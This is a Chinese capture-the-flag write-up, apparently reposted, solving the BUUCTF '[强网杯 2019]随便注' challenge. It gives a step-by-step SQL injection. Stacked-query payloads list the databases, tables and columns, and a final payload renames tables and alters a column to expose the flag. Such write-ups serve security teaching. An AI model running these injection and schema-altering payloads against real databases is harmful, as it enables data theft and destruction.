BUUCTF [强网杯 2019]随便注
Posted 热绪
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了BUUCTF [强网杯 2019]随便注相关的知识,希望对你有一定的参考价值。
打开环境:
输入1回显如下:
习惯性的测试了 1'
输入1' # 回显正常,确定了存在SQL注入。
测试:1' or 1=1 #,不出意外
按照正常注入流程进行测试字段数:1' order by 3#
测试:1' order by 2 #
回显正常,确定字段数为2。
测试:1' union select 1,2
返回了一个正则过滤规则,可以看到将很多常用的SQL字段过滤掉。
这时候我们想到堆叠注入,测试一下:
1';show databases;#
所有的数据库名字就遍历出了。
知道是堆叠注入就好说了:
1';show tables; #
查看表名;
共有两张表,分别看看有什么字段;
-1';show columns from 1919810931114514;#
-1';show columns from words;#
可以看出并没有什么关键的信息。
在知道表内都有什么字段之后,我们就开始查找flag了。
本题随意有强大的过滤规则,但是还是忽略了alert和rename关键字。
由于默认输出的是words表的数据。
所以我们想到:将words表改为words1;将1919810931114514表改为words,将新的words表插入一列,列名为id,flag列改名为data。
构造的payload如下:
1';rename tables `words` to `words1`;rename tables `1919810931114514` to `words`; alter table `words` change `flag` `id` varchar(100);#
然后再用1' or 1=1 # 遍历新words表(存在flag的表)
即可查到flag
思路:默认展示的是words表,flag不在words表,将flag所在的表名改为words,并将可以输出的字段名进行修改;由于过滤了很多常用SQL字段,所以只能进行修改来完成查询,大师傅的方法实在是高,想要做出此题需要较高的数据库水平。难点在于查询1919810931114514表中的数据这里。
以上是关于BUUCTF [强网杯 2019]随便注的主要内容,如果未能解决你的问题,请参考以下文章